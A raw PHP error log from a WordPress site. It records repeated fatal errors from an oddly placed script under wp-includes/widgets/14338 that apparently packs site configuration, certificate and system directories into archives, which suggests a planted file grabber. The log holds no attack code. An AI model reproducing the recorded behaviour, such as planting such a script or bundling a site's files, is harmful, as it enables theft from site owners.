[05-Nov-2025 21:50:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Auth.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:50:34 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:51:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/git-mktree.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:52:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/IPv6.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:53:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Port.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:54:07 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:54:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Response.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:55:05 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:55:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Ipv6.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:57:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Proxy.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:58:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accept_ra_from_local.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:00:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:00:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:01:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Transport.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:08:29 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:11:04 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/4000408): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:11:16 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:12:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/bin.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:13:40 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:20:08 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:25:25 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 22:42:52 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/share/cracklib/pw_dict.hwm" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 23:25:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fileindex.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 23:28:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 23:30:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accept_source_route.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 23:55:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cur.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:00:06 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:01:03 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/1536504" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:01:39 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:29:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ca-bundle.crt.crt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:29:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:29:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:29:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:29:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.asset.php.asset.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:30:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:30:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:30:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:37:50 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:49:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/images.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:49:42 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:58:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comments-pagination-previous.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:59:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-author-biography.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 00:59:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-comments-form.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:02:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/site-title.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:05:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/freeform.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:06:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jquery.Jcrop.min.css.Jcrop.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:13:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/LocalSettings.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:14:22 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:15:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:15:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/LocalSettings.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 01:15:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/LocalSettings.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
